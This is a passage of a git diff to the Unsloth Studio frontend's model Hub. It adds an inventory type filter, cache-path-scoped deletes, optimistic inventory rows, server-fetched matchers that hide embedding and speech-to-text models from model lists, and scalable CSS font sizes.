+      hiddenEmbeddingModelIds,
       modelDiscoveryInventorySignature,
       fitOnDeviceOnly,
       gpu,
@@ -762,33 +820,44 @@ export function ModelsPage() {
     }
     return merged;
   }, [isFeedMode, feedTrendingRows, filteredDiscoverRows]);
-  const feedResults = useMemo(() => feedRows.map((row) => row.result), [feedRows]);
+  const feedResults = useMemo(
+    () => feedRows.map((row) => row.result),
+    [feedRows],
+  );
   const selectionDiscoverRows = isFeedMode ? feedRows : discoverRows;
   const selectionFilteredDiscoverRows = isFeedMode
     ? feedRows
     : filteredDiscoverRows;
-  const selectionResults = isFeedMode ? feedResults : results;
+  const selectionResults = isFeedMode ? feedResults : visibleResults;
 
   const inventoryTokens = useMemo(
     () => (isDiscoverTab ? [] : tokenizeQuery(deferredDebouncedQuery)),
     [isDiscoverTab, deferredDebouncedQuery],
   );
-  // Hide infra models (e.g. the RAG embedder bge-small-en-v1.5) from the On
-  // Device list like Discover, but reveal a row when a query matches it so the
-  // user can confirm it is already downloaded.
+  // Server cache rows already apply variant-aware infra hiding. Optimistic
+  // rows are not server-confirmed, so apply the client filter first.
   const isVisibleInventoryRow = useCallback(
-    (row: CachedInventoryRow | LocalInventoryRow) =>
-      // Local rows can have a null repoId and an id that is a hash rather than
-      // the file path/name, so also check path/title (the backend's
-      // _is_hidden_model checks the on-disk path for the same reason).
-      !isHiddenModelId(
-        row.id,
-        row.repoId,
-        row.kind !== "cache" ? row.path : undefined,
-        row.kind !== "cache" ? row.title : undefined,
-      ) ||
-      (inventoryTokens.length > 0 && inventoryRowMatches(row, inventoryTokens)),
-    [inventoryTokens],
+    (row: CachedInventoryRow | LocalInventoryRow) => {
+      if (row.kind === "cache") {
+        return (
+          !row.optimistic ||
+          (!isHiddenModelId(row.id, row.repoId, row.cachePath) &&
+            !isConfiguredHiddenModelId(
+              hiddenEmbeddingModelIds,
+              row.id,
+              row.repoId,
+              row.cachePath,
+            ))
+        );
+      }
+      // Local rows may lack a repo id, so also check path and title.
+      return (
+        !isHiddenModelId(row.id, row.repoId, row.path, row.title) ||
+        (inventoryTokens.length > 0 &&
+          inventoryRowMatches(row, inventoryTokens))
+      );
+    },
+    [hiddenEmbeddingModelIds, inventoryTokens],
   );
   // Format filter is a deliberate scope narrowing, so hard-filter it out. The
   // text query instead drives dim-not-filter on On Device (see ModelsCatalog) so
@@ -803,6 +872,7 @@ export function ModelsPage() {
             // id/title/path happens to contain an infra needle is not dropped.
             isDatasetMode ||
             (matchesFormat(row.modelFormat, deferredFormatFilter) &&
+              matchesModelType(row, inventoryTypeFilter) &&
               isVisibleInventoryRow(row)),
         ),
         inventoryTokens,
@@ -811,6 +881,7 @@ export function ModelsPage() {
       effectiveCachedRows,
       isDatasetMode,
       deferredFormatFilter,
+      inventoryTypeFilter,
       inventoryTokens,
       isVisibleInventoryRow,
     ],
@@ -826,6 +897,7 @@ export function ModelsPage() {
             // id/title/path happens to contain an infra needle is not dropped.
             isDatasetMode ||
             (matchesFormat(row.modelFormat, deferredFormatFilter) &&
+              matchesModelType(row, inventoryTypeFilter) &&
               isVisibleInventoryRow(row)),
         ),
         inventoryTokens,
@@ -834,6 +906,7 @@ export function ModelsPage() {
       effectiveLocalRows,
       isDatasetMode,
       deferredFormatFilter,
+      inventoryTypeFilter,
       inventoryTokens,
       isVisibleInventoryRow,
     ],
@@ -866,6 +939,7 @@ export function ModelsPage() {
         resourceType,
         deferredFormatFilter,
         deferredCapabilityFilter,
+        inventoryTypeFilter,
         effectiveSort,
         effectiveDirection,
         activeChannelId,
@@ -876,6 +950,7 @@ export function ModelsPage() {
       resourceType,
       deferredFormatFilter,
       deferredCapabilityFilter,
+      inventoryTypeFilter,
       effectiveSort,
       effectiveDirection,
       activeChannelId,
@@ -894,6 +969,7 @@ export function ModelsPage() {
       }
     } else {
       setDownloadedFormat("all");
+      setInventoryTypeFilter("all");
     }
     setCapabilityFilter("all");
   }, [isDiscoverTab, urlSection, navigate]);
@@ -1085,11 +1161,11 @@ export function ModelsPage() {
   const { vramInfo, minMemory } = useHubModelVram(selectedModel, gpu);
 
   const gpuLabel = gpu.available
-    ? `${Math.round(gpu.memoryTotalGb)} GB`
+    ? `${Math.round(gpu.memoryTotalGb)} GiB`
     : "Unavailable";
   const ramLabel =
     gpu.systemRamTotalGb > 0
-      ? `${Math.round(gpu.systemRamTotalGb)} GB`
+      ? `${Math.round(gpu.systemRamTotalGb)} GiB`
       : "Unavailable";
   const coreLabel =
     gpu.cpuCore > 0 && gpu.cpuThread > 0
@@ -1103,50 +1179,22 @@ export function ModelsPage() {
     (opts: ModelLoadOptions, isDownloaded: boolean) => {
       if (!selectedModel) return;
       const runId = selectedModel.resource.runId;
-      // "Load on selection" off: stage GGUF picks instead of loading, so the
-      // chat page's staging flow can read the header and show the load options.
-      // Non-GGUF models have nothing to configure pre-load, so they load now.
-      if (
-        !useChatRuntimeStore.getState().loadOnSelection &&
-        (opts.ggufVariant != null || selectedModel.isGguf)
-      ) {
-        useChatRuntimeStore.getState().stageModel({
-          id: runId,
-          ggufVariant: opts.ggufVariant,
-          isGguf: selectedModel.isGguf,
-          isDownloaded,
-          expectedBytes: opts.expectedBytes,
-        });
-        openNewChat();
-        return;
-      }
-      // Detach any leftover staged pick first so its edited knobs (e.g. a custom
-      // context length) don't leak into this load -- mirrors the chat page's
-      // detachStaged(); keepDownload keeps any staged download running.
-      useChatRuntimeStore.getState().abandonStagedModel({ keepDownload: true });
-      // Load-on-selection skips the chat sheet, so seed this GGUF pick's saved
-      // load knobs here the way the sheet's restore effect would; otherwise the
-      // remembered config is silently ignored on the Hub run path. keepSpeculative
-      // then honors the restored speculative choice across the switch.
-      const remembered =
-        opts.ggufVariant != null || selectedModel.isGguf
-          ? loadRememberedLoadSettings(
-              rememberedLoadSettingsKey({
-                id: runId,
-                ggufVariant: opts.ggufVariant,
-              }),
-            )
-          : null;
-      if (remembered) {
-        useChatRuntimeStore.getState().applyRememberedLoadSettings(remembered);
-      }
+      const resolvedConfig = resolveInitialConfig(runId, opts.ggufVariant);
+      const rememberedConfig = resolvedConfig.remembered
+        ? resolvedConfig.config
+        : null;
+      const previousConfig = currentRuntimePerModelConfig({
+        includeMaxSeqLength: true,
+      });
+      const hasAppliedConfig = applyModelLoadConfigToRuntime(rememberedConfig);
       void selectModel({
         id: runId,
         ggufVariant: opts.ggufVariant,
         isDownloaded,
         expectedBytes: opts.expectedBytes,
-        keepSpeculative: remembered != null,
+        keepSpeculative: hasAppliedConfig,
         throwOnError: true,
+        previousConfig,
       })
         .then(() => {
           // Read fresh: the load is async, so the checkpoint may have changed.
@@ -1228,6 +1276,7 @@ export function ModelsPage() {
       onLoad: handleLoad,
       onLoadLocal: handleLoadLocal,
       onUseInChat: openNewChat,
+      onEject: () => void ejectModel(),
       onTrain: handleTrain,
       onInventoryChange: refreshInventory,
       onSearchHub: handleSearchHub,
@@ -1236,6 +1285,7 @@ export function ModelsPage() {
       handleLoad,
       handleLoadLocal,
       openNewChat,
+      ejectModel,
       handleTrain,
       handleSearchHub,
       refreshInventory,
@@ -1243,31 +1293,38 @@ export function ModelsPage() {
   );
 
   const catalogState = useMemo<ModelsCatalogState>(
-    () => ({
-      tab,
-      discoverRows: listRows,
-      cachedRows: filteredCachedRows,
-      localRows: filteredLocalRows,
-      selectedId,
-      isLoading,
-      downloadedReady,
-      inventoryError,
-      inventoryWarning,
-      query,
-      activeCheckpoint,
-      activeGgufVariant,
-      searchError,
-      online,
-      isDataset: isDatasetMode,
-      inventoryTokens,
-      scannedCount,
-      loadingIntentCount: discoverFetchIntent,
-      hasMore,
-      manualFetchAvailable: discoverManualFetchAvailable,
-      hasActiveFilters:
-        !isFeedMode &&
-        (deferredFormatFilter !== "all" || deferredCapabilityFilter !== "all"),
-    }),
+    () => {
+      const typeFilterActive =
+        !isDatasetMode && inventoryTypeFilter !== "all";
+      return {
+        tab,
+        discoverRows: listRows,
+        cachedRows: filteredCachedRows,
+        localRows: filteredLocalRows,
+        selectedId,
+        isLoading,
+        downloadedReady,
+        inventoryError,
+        inventoryWarning,
+        query,
+        activeCheckpoint,
+        activeGgufVariant,
+        searchError,
+        online,
+        isDataset: isDatasetMode,
+        inventoryTokens,
+        scannedCount,
+        loadingIntentCount: discoverFetchIntent,
+        hasMore,
+        manualFetchAvailable: discoverManualFetchAvailable,
+        hasActiveFilters:
+          !isFeedMode &&
+          (deferredFormatFilter !== "all" ||
+            deferredCapabilityFilter !== "all" ||
+            (tab === "downloaded" && typeFilterActive)),
+        typeFilterActive,
+      };
+    },
     [
       tab,
       isFeedMode,
@@ -1292,6 +1349,7 @@ export function ModelsPage() {
       discoverManualFetchAvailable,
       deferredFormatFilter,
       deferredCapabilityFilter,
+      inventoryTypeFilter,
     ],
   );
 
@@ -1370,16 +1428,18 @@ export function ModelsPage() {
         </div>
       );
     }
-    const ownerToggle = !isDatasetMode ? (
+    const ownerToggle = isDatasetMode ? undefined : (
       <OwnerScopeToggle value={ownerScope} onChange={setOwnerScope} />
-    ) : undefined;
+    );
     // Compact pill so it stays beside the view-mode tabs even in the narrow
     // split pane instead of dropping to its own row.
     return (
       <div className="flex flex-col gap-3 pt-6">
         {isChannelListMode ? (
           <HubListHeader
-            title={channelSection ? HUB_SECTION_TITLE[channelSection] : "Models"}
+            title={
+              channelSection ? HUB_SECTION_TITLE[channelSection] : "Models"
+            }
             count={listCount}
             view={allModelsView}
             onViewChange={setAllModelsView}
@@ -1422,27 +1482,40 @@ export function ModelsPage() {
   ]);
 
   const downloadedHeader = useMemo(() => {
-    const sortControl = (
-      <InventorySortControl value={inventorySort} onChange={setInventorySort} />
+    // Compact pills so they stay beside the view-mode tabs even in the narrow
+    // split pane instead of dropping to their own row.
+    const controls = (
+      <div className="flex min-w-0 items-center gap-1.5">
+        {!isDatasetMode && (
+          <InventoryTypeFilterControl
+            value={inventoryTypeFilter}
+            onChange={setInventoryTypeFilter}
+          />
+        )}
+        <InventorySortControl
+          value={inventorySort}
+          onChange={setInventorySort}
+        />
+      </div>
     );
-    // Compact pill so it stays beside the view-mode tabs even in the narrow
-    // split pane instead of dropping to its own row.
     return (
       <HubListHeader
         title="On device"
-        count={visibleCachedCount + visibleLocalCount}
+        count={filteredCachedRows.length + filteredLocalRows.length}
         view={allModelsView}
         onViewChange={setAllModelsView}
-        actions={sortControl}
+        actions={controls}
       />
     );
   }, [
-    visibleCachedCount,
-    visibleLocalCount,
+    filteredCachedRows,
+    filteredLocalRows,
     allModelsView,
     setAllModelsView,
     inventorySort,
     setInventorySort,
+    inventoryTypeFilter,
+    isDatasetMode,
   ]);
 
   const detailOpen = urlModel !== null;
@@ -1533,7 +1606,7 @@ export function ModelsPage() {
               />
             </div>
           ) : (
-            <div className="hidden min-h-0 flex-1 items-center justify-center px-6 text-center text-[13px] text-muted-foreground lg:flex">
+            <div className="hidden min-h-0 flex-1 items-center justify-center px-6 text-center text-ui-13 text-muted-foreground lg:flex">
               Select a model to preview its details.
             </div>
           )
diff --git a/studio/frontend/src/features/hub/hub.css b/studio/frontend/src/features/hub/hub.css
index 947dd8cb34..8dc6dac617 100644
--- a/studio/frontend/src/features/hub/hub.css
+++ b/studio/frontend/src/features/hub/hub.css
@@ -469,7 +469,7 @@
   }
 
   .hub-page .hub-focused-heading {
-    font-size: 18px;
+    font-size: calc(1.125rem * var(--ui-font-scale, 1));
     font-weight: 600;
     letter-spacing: 0;
     color: var(--foreground);
@@ -841,7 +841,7 @@
     padding-inline: 0;
     background-color: var(--status-success);
     color: var(--primary-foreground);
-    font-size: 10.5px;
+    font-size: calc(0.65625rem * var(--ui-font-scale, 1));
     font-weight: 600;
     line-height: 1;
     font-variant-numeric: tabular-nums;
@@ -1117,9 +1117,9 @@
     background-color: transparent;
     padding-left: 0.75rem;
     padding-right: 0.75rem;
-    font-size: 13px;
+    font-size: calc(0.8125rem * var(--ui-font-scale, 1));
     font-weight: 500;
-    line-height: 18px;
+    line-height: calc(1.125rem * var(--ui-font-scale, 1));
     letter-spacing: -0.025em;
     color: var(--foreground);
     transition: color 150ms, background-color 150ms;
@@ -1164,9 +1164,9 @@
     background-color: var(--status-success);
     padding-left: 1rem;
     padding-right: 1rem;
-    font-size: 13px;
+    font-size: calc(0.8125rem * var(--ui-font-scale, 1));
     font-weight: 600;
-    line-height: 18px;
+    line-height: calc(1.125rem * var(--ui-font-scale, 1));
     letter-spacing: -0.025em;
     color: var(--primary-foreground);
     transition: background-color 150ms, transform 150ms;
@@ -1273,7 +1273,7 @@
     font-weight: 400;
     padding-top: 0.25rem;
     padding-bottom: 0.25rem;
-    line-height: 1.25rem;
+    line-height: calc(1.25rem * var(--ui-font-scale, 1));
   }
 
   .hub-page .field-trigger.field-filter:hover {
@@ -1290,7 +1290,7 @@
     border-radius: 9999px;
     border: 1px solid color-mix(in srgb, var(--foreground) 8%, transparent);
     background-color: color-mix(in srgb, var(--foreground) 2.5%, transparent);
-    font-size: 12px;
+    font-size: calc(0.75rem * var(--ui-font-scale, 1));
     line-height: 1;
     color: var(--muted-foreground);
     white-space: nowrap;
@@ -1478,7 +1478,7 @@
 
 @layer utilities {
   .hub-chip {
-    @apply inline-flex items-center gap-1 rounded-full px-2 py-[3px] text-[11px] font-medium leading-none;
+    @apply inline-flex items-center gap-1 rounded-full px-2 py-[3px] text-ui-11 font-medium leading-none;
     background-color: color-mix(in srgb, var(--foreground) 5%, transparent);
     color: var(--muted-foreground);
   }
@@ -1488,7 +1488,7 @@
   }
 
   .hub-meta-tag {
-    @apply inline-flex h-[18px] shrink-0 items-center gap-1 rounded-full px-2 text-[11px] font-medium leading-none;
+    @apply inline-flex h-[18px] shrink-0 items-center gap-1 rounded-full px-2 text-ui-11 font-medium leading-none;
     background-color: color-mix(in srgb, var(--foreground) 5%, transparent);
     color: var(--muted-foreground);
   }
diff --git a/studio/frontend/src/features/hub/index.ts b/studio/frontend/src/features/hub/index.ts
index ddcef146b0..7d9e5b74aa 100644
--- a/studio/frontend/src/features/hub/index.ts
+++ b/studio/frontend/src/features/hub/index.ts
@@ -1,4 +1,58 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-export { cancelStagedModelDownload } from "./download-manager";
+export {
+  DownloadProgressBar,
+  downloadManager,
+  jobKeyOf,
+  subscribeJobListeners,
+  useDownloadManagerStore,
+} from "./download-manager";
+export {
+  useHubInventory,
+  type CachedInventoryRow,
+  type GgufVariantDetail,
+  type LocalInventoryRow,
+  type LocalSource,
+  type ScanFolderInfo,
+  addScanFolder,
+  deleteCachedModel,
+  invalidateGgufVariantsCache,
+  listGgufVariants,
+  listScanFolders,
+  removeScanFolder,
+} from "./inventory";
+export {
+  type HfModelResult,
+  type HfSortKey,
+  useHubModelSearch,
+} from "./hooks/use-hub-model-search";
+export { useOnlineStatus } from "./hooks/use-online-status";
+export { useHubInfiniteScroll } from "./hooks/use-hub-infinite-scroll";
+export { bumpInventoryVersion } from "./stores/inventory-events";
+export {
+  getHfToken,
+  hfApiToken,
+  mirrorHfTokenInto,
+  useHfTokenStore,
+} from "./stores/hf-token-store";
+export { useInventoryVersion } from "./stores/inventory-events";
+export { looksLikeLocalPath } from "./lib/local-path";
+export { hubTokenHeader } from "./lib/hub-token-header";
+export {
+  ggufVariantsMatch,
+  normalizeGgufVariantIdentity,
+  normalizeModelIdentity,
+} from "./lib/model-identity";
+export { formatBytes, formatRelativeShort } from "./lib/format";
+export { ggufVariantDisplayLabel } from "./lib/gguf-variant-sort";
+export {
+  DeleteConfirmDialog,
+  UpdateConfirmDialog,
+} from "./catalog/download-card";
+export { HubOptionMenu, type HubOption } from "./catalog/hub-option-menu";
+export { DotTag } from "./catalog/dot-tag";
+export { TransportConflictDialog } from "./catalog/transport-conflict-dialog";
+export { TrainIcon } from "./components/train-icon";
+export { isHiddenModelId } from "./lib/hidden-models";
+export { classifyUnslothSupport } from "./lib/unsloth-support";
diff --git a/studio/frontend/src/features/hub/inventory/api.ts b/studio/frontend/src/features/hub/inventory/api.ts
index 0e01c5c0cb..d3a1abb540 100644
--- a/studio/frontend/src/features/hub/inventory/api.ts
+++ b/studio/frontend/src/features/hub/inventory/api.ts
@@ -48,6 +48,7 @@ export interface CachedGgufRepo {
   capabilities?: BackendModelCapabilities | null;
   size_bytes: number;
   cache_path?: string;
+  last_modified?: number | null;
   partial?: boolean;
   partial_transport?: string | null;
   pipeline_tag?: string | null;
@@ -65,6 +66,7 @@ export interface CachedModelRepo {
   capabilities?: BackendModelCapabilities | null;
   size_bytes: number;
   cache_path?: string;
+  last_modified?: number | null;
   partial?: boolean;
   partial_transport?: string | null;
   pipeline_tag?: string | null;
@@ -86,6 +88,7 @@ export interface LocalModelInfo {
   capabilities?: BackendModelCapabilities | null;
   source: LocalSource;
   model_id?: string | null;
+  active_cache?: boolean | null;
   base_model?: string | null;
   base_model_source?: BaseModelSource | null;
   adapter_type?: string | null;
@@ -256,11 +259,18 @@ export async function listCachedDatasets(): Promise<CachedDatasetRepo[]> {
   return data.cached;
 }
 
-export async function deleteCachedDataset(repoId: string): Promise<void> {
+export async function deleteCachedDataset(
+  repoId: string,
+  cachePath?: string | null,
+): Promise<void> {
+  const payload: Record<string, string> = { repo_id: repoId };
+  if (cachePath) {
+    payload.cache_path = cachePath;
+  }
   const response = await authFetch("/api/hub/datasets/cached", {
     method: "DELETE",
     headers: { "Content-Type": "application/json" },
-    body: JSON.stringify({ repo_id: repoId }),
+    body: JSON.stringify(payload),
   });
   await throwIfNotOk(response, `Failed to delete dataset (${response.status})`);
   bumpInventoryVersion();
@@ -270,11 +280,17 @@ export async function deleteCachedModel(
   repoId: string,
   variant?: string,
   hfToken?: string | null,
+  cachePath?: string | null,
 ): Promise<void> {
   const payload: Record<string, string> = { repo_id: repoId };
   if (variant) {
     payload.variant = variant;
   }
+  // Scope the delete to the exact cache this row represents so copies in other,
+  // previously selected caches are not removed.
+  if (cachePath) {
+    payload.cache_path = cachePath;
+  }
   const response = await authFetch("/api/hub/delete-cached", {
     method: "DELETE",
     headers: { "Content-Type": "application/json", ...hubTokenHeader(hfToken) },
diff --git a/studio/frontend/src/features/hub/inventory/inventory-hints.ts b/studio/frontend/src/features/hub/inventory/inventory-hints.ts
index af9f254ab3..5e202e3150 100644
--- a/studio/frontend/src/features/hub/inventory/inventory-hints.ts
+++ b/studio/frontend/src/features/hub/inventory/inventory-hints.ts
@@ -12,6 +12,7 @@ export type InventoryHintRow = {
   repo_id: string;
   size_bytes: number;
   partial?: boolean;
+  optimistic?: boolean;
 };
 
 export type InventoryHintReconciliation = {
@@ -41,6 +42,7 @@ function optimisticRow(hint: InventoryHint): InventoryHintRow {
     repo_id: hint.repoId,
     size_bytes: hint.bytes ?? 0,
     partial: false,
+    optimistic: true,
   };
 }
 
@@ -101,9 +103,14 @@ function mergeInventoryHint(
   if (idx === -1) {
     return [...rows, seed];
   }
+  const serverRow = rows[idx];
   const merged = {
-    ...rows[idx],
-    ...seed,
+    ...serverRow,
+    // A completed hint may arrive before a partial server scan catches up. In
+    // that case keep the synthetic row non-runnable. A complete server row is
+    // already authoritative even when its runnable-weight size is smaller than
+    // the hint's full-snapshot byte count, so do not mark that merge optimistic.
+    ...(serverRow.partial ? seed : { optimistic: false }),
     size_bytes: Math.max(rowSizeBytes(rows[idx]), rowSizeBytes(seed)),
   };
   return [...rows.slice(0, idx), merged, ...rows.slice(idx + 1)];
diff --git a/studio/frontend/src/features/hub/inventory/types.ts b/studio/frontend/src/features/hub/inventory/types.ts
index c86ffb1d86..d1f2f993cd 100644
--- a/studio/frontend/src/features/hub/inventory/types.ts
+++ b/studio/frontend/src/features/hub/inventory/types.ts
@@ -47,6 +47,7 @@ export interface CachedInventoryRow {
   capabilities: ModelInventoryCapabilities;
   bytes: number;
   cachePath?: string | null;
+  lastModified?: number | null;
   partial?: boolean;
   partialTransport?: string | null;
   pipelineTag?: string | null;
@@ -54,6 +55,7 @@ export interface CachedInventoryRow {
   libraryName?: string | null;
   quantMethod?: string | null;
   liveDownload?: boolean;
+  optimistic?: boolean;
 }
 
 export interface LocalInventoryRow {
@@ -65,6 +67,8 @@ export interface LocalInventoryRow {
   title: string;
   source: LocalSource;
   sourceLabel: string;
+  modelId?: string | null;
+  displayName?: string;
   path: string;
   isGguf: boolean;
   modelFormat: ModelInventoryFormat;
@@ -79,6 +83,7 @@ export interface LocalInventoryRow {
   updatedAt: number | null;
   partial?: boolean;
   partialTransport?: string | null;
+  activeCache?: boolean | null;
   pipelineTag?: string | null;
   tags?: string[];
   libraryName?: string | null;
diff --git a/studio/frontend/src/features/hub/inventory/use-device-inventory.ts b/studio/frontend/src/features/hub/inventory/use-device-inventory.ts
index 00eaa31a22..5ff57dfff4 100644
--- a/studio/frontend/src/features/hub/inventory/use-device-inventory.ts
+++ b/studio/frontend/src/features/hub/inventory/use-device-inventory.ts
@@ -14,6 +14,7 @@ import {
   listLocalModels,
 } from "./api";
 import { useDebouncedValue } from "@/hooks/use-debounced-value";
+import { ensureHiddenModelMatchers } from "../lib/hidden-models";
 import { fingerprintToken } from "@/features/hub/lib/token-fingerprint";
 import { useInventoryVersion } from "@/features/hub/stores/inventory-events";
 import { useCallback, useEffect, useMemo } from "react";
@@ -146,12 +147,15 @@ async function runSourceFetch<K extends DeviceInventorySource>(
 ): Promise<DeviceInventoryRows[K]> {
   switch (source) {
     case "cachedGguf":
+      await ensureHiddenModelMatchers();
       return (await listCachedGguf(hfToken)) as DeviceInventoryRows[K];
     case "cachedModels":
+      await ensureHiddenModelMatchers();
       return (await listCachedModels(hfToken)) as DeviceInventoryRows[K];
     case "cachedDatasets":
       return (await listCachedDatasets()) as DeviceInventoryRows[K];
     case "localModels":
+      await ensureHiddenModelMatchers();
       return (await listLocalModels()).models as DeviceInventoryRows[K];
     case "localDatasets":
       return (await listLocalDatasets()).datasets as DeviceInventoryRows[K];
diff --git a/studio/frontend/src/features/hub/inventory/use-hub-inventory.ts b/studio/frontend/src/features/hub/inventory/use-hub-inventory.ts
index a7dc7ae3f3..fea7b3d331 100644
--- a/studio/frontend/src/features/hub/inventory/use-hub-inventory.ts
+++ b/studio/frontend/src/features/hub/inventory/use-hub-inventory.ts
@@ -204,6 +204,7 @@ function liveDownloadInventoryRows(
           size_bytes: job.displayBytes,
           partial: true,
           partial_transport: null,
+          optimistic: true,
         },
         modelFormat,
       ),
diff --git a/studio/frontend/src/features/hub/inventory/view-models.ts b/studio/frontend/src/features/hub/inventory/view-models.ts
index 63d70418be..41b4733d19 100644
--- a/studio/frontend/src/features/hub/inventory/view-models.ts
+++ b/studio/frontend/src/features/hub/inventory/view-models.ts
@@ -176,6 +176,8 @@ export function buildCachedInventoryRow(
     runtime?: string | null;
     format_variant?: string | null;
     capabilities?: BackendModelCapabilities | null;
+    last_modified?: number | null;
+    optimistic?: boolean;
   },
   fallbackFormat: ModelInventoryFormat,
 ): CachedInventoryRow {
@@ -185,6 +187,15 @@ export function buildCachedInventoryRow(
   const inferredFromEndpoint =
     rawModelFormat === "unknown" && modelFormat !== "unknown";
   const requiresVariant = modelFormat === "gguf";
+  const capabilities = normalizeCapabilities(
+    inferredFromEndpoint ? null : row.capabilities,
+    modelFormat,
+    row.partial ?? false,
+    requiresVariant,
+  );
+  if (row.optimistic) {
+    capabilities.canChat = false;
+  }
   return {
     kind: "cache",
     id:
@@ -202,20 +213,22 @@ export function buildCachedInventoryRow(
       modelFormat,
     ),
     formatVariant: row.format_variant ?? null,
-    capabilities: normalizeCapabilities(
-      inferredFromEndpoint ? null : row.capabilities,
-      modelFormat,
-      row.partial ?? false,
-      requiresVariant,
-    ),
+    capabilities,
     bytes: row.size_bytes,
     cachePath: row.cache_path ?? null,
+    lastModified:
+      typeof row.last_modified === "number" &&
+      Number.isFinite(row.last_modified) &&
+      row.last_modified > 0
+        ? row.last_modified
+        : null,
     partial: row.partial ?? false,
     partialTransport: row.partial_transport ?? null,
     pipelineTag: row.pipeline_tag ?? null,
     tags: row.tags,
     libraryName: row.library_name ?? null,
     quantMethod: row.quant_method ?? null,
+    optimistic: row.optimistic,
   };
 }
 
@@ -272,6 +285,8 @@ export function buildLocalInventoryRows(
         title,
         source: model.source,
         sourceLabel: localSourceLabel(model.source),
+        modelId: model.model_id ?? null,
+        displayName: model.display_name,
         path: model.path,
         isGguf: modelFormat === "gguf",
         modelFormat,
@@ -286,6 +301,7 @@ export function buildLocalInventoryRows(
         updatedAt: normalizeTimestamp(model.updated_at),
         partial: model.partial ?? false,
         partialTransport: model.partial_transport ?? null,
+        activeCache: model.active_cache ?? null,
         pipelineTag: model.pipeline_tag ?? null,
         tags: model.tags,
         libraryName: model.library_name ?? null,
diff --git a/studio/frontend/src/features/hub/lib/hidden-models.ts b/studio/frontend/src/features/hub/lib/hidden-models.ts
index 2dbe257947..c5c72aea65 100644
--- a/studio/frontend/src/features/hub/lib/hidden-models.ts
+++ b/studio/frontend/src/features/hub/lib/hidden-models.ts
@@ -1,24 +1,125 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-// Infra models hidden from every browse/preview list (Hub discover and the chat
-// model selector). Mirrors the backend `_is_hidden_model`: the RAG embedding
-// model and the llama.cpp validation probe are not usable chat models. Per-repo
-// file/download views are NOT filtered, so a reinstall still shows the model as
-// already downloaded.
+import { authFetch } from "@/features/auth";
+import { getInventoryVersion } from "../stores/inventory-events";
+
+// Infra models hidden from browse/preview lists (Hub Discover, the chat model
+// selector, and local on-device rows). Mirrors the backend
+// `utils.hidden_models`: the RAG embedding model, STT dictation models, and the
+// llama.cpp validation probe are not usable chat models. Server-confirmed cache
+// rows are trusted because the backend applies variant-aware filtering.
+// Optimistic cache rows still use these needles until the server confirms them.
+// The dynamic matchers fetched from `/api/hub/hidden-models` add the user's
+// configured embedder as exact repo ids and exact resolved paths, never
+// substring needles. Per-repo views are not filtered, so reinstall flows still
+// show downloaded files.
 const HIDDEN_NEEDLES = [
   "bge-small-en-v1.5", // RAG embedder: unsloth/bge-small-en-v1.5[-GGUF]
   "ggml-org/models", // llama.cpp validation probe repo
   "stories260k.gguf", // probe filename (carries .gguf so it stays specific)
 ];
+const HIDDEN_STT_REPOS = new Set([
+  // Transformers safetensors repos and their whisper.cpp GGUF companions
+  // (unslothai/whisper-*-GGUF): STT-only, never chat models.
+  "unsloth/whisper-tiny",
+  "unsloth/whisper-base",
+  "unsloth/whisper-small",
+  "unsloth/whisper-large-v3-turbo",
+  "unsloth/whisper-large-v3",
+  "unslothai/whisper-tiny-gguf",
+  "unslothai/whisper-base-gguf",
+  "unslothai/whisper-small-gguf",
+  "unslothai/whisper-large-v3-turbo-gguf",
+  "unslothai/whisper-large-v3-gguf",
+]);
+const HIDDEN_STT_CACHE_NAMES = [...HIDDEN_STT_REPOS].map((repo) =>
+  repo.replace("/", "--"),
+);
+
+let dynamicNeedles: readonly string[] = [];
+let dynamicExactIds: readonly string[] = [];
+let dynamicExactPaths: readonly string[] = [];
+let matchersFetch: Promise<void> | null = null;
+let matchersFetchVersion = -1;
+
+function toLowerStrings(value: unknown): string[] {
+  if (!Array.isArray(value)) {
+    return [];
+  }
+  return value
+    .filter((v): v is string => typeof v === "string" && v.length > 0)
+    .map((v) => v.toLowerCase());
+}
+
+export function ensureHiddenModelMatchers(): Promise<void> {
+  const version = getInventoryVersion();
+  if (matchersFetch && matchersFetchVersion === version) {
+    return matchersFetch;
+  }
+  matchersFetchVersion = version;
+  matchersFetch = (async () => {
+    try {
+      const response = await authFetch("/api/hub/hidden-models");
+      if (!response.ok) {
+        throw new Error(`HTTP ${response.status}`);
+      }
+      const data = (await response.json()) as {
+        needles?: unknown;
+        exact_ids?: unknown;
+        exact_paths?: unknown;
+      };
+      if (
+        getInventoryVersion() !== version ||
+        matchersFetchVersion !== version
+      ) {
+        return;
+      }
+      dynamicNeedles = toLowerStrings(data.needles);
+      dynamicExactIds = toLowerStrings(data.exact_ids);
+      dynamicExactPaths = toLowerStrings(data.exact_paths);
+    } catch {
+      if (
+        getInventoryVersion() === version &&
+        matchersFetchVersion === version
+      ) {
+        matchersFetch = null;
+      }
+    }
+  })();
+  return matchersFetch;
+}
 
 /** True if any id/path is a hidden infra model. */
 export function isHiddenModelId(
   ...values: (string | null | undefined)[]
 ): boolean {
   return values.some((v) => {
-    if (!v) return false;
+    if (!v) {
+      return false;
+    }
     const lower = v.toLowerCase();
-    return HIDDEN_NEEDLES.some((needle) => lower.includes(needle));
+    const normalized = lower.trim().replace(/^\/+|\/+$/g, "");
+    const pathParts = lower.split(/[\\/]/);
+    return (
+      HIDDEN_STT_REPOS.has(normalized) ||
+      HIDDEN_STT_CACHE_NAMES.some((name) =>
+        pathParts.includes(`models--${name}`),
+      ) ||
+      HIDDEN_NEEDLES.some((needle) => lower.includes(needle)) ||
+      dynamicNeedles.some((needle) => lower.includes(needle)) ||
+      dynamicExactIds.includes(lower) ||
+      dynamicExactPaths.includes(lower)
+    );
   });
 }
+
+/** Exact-match configured infra repos without hiding similarly named models. */
+export function isConfiguredHiddenModelId(
+  configuredIds: ReadonlySet<string>,
+  ...values: (string | null | undefined)[]
+): boolean {
+  return values.some(
+    (value) => value != null && configuredIds.has(value.trim().toLowerCase()),
+  );
+}
diff --git a/studio/frontend/src/features/hub/lib/hub-feature-flags.ts b/studio/frontend/src/features/hub/lib/hub-feature-flags.ts
index 858a8b89db..6c74f71d1b 100644
--- a/studio/frontend/src/features/hub/lib/hub-feature-flags.ts
+++ b/studio/frontend/src/features/hub/lib/hub-feature-flags.ts
@@ -4,8 +4,13 @@
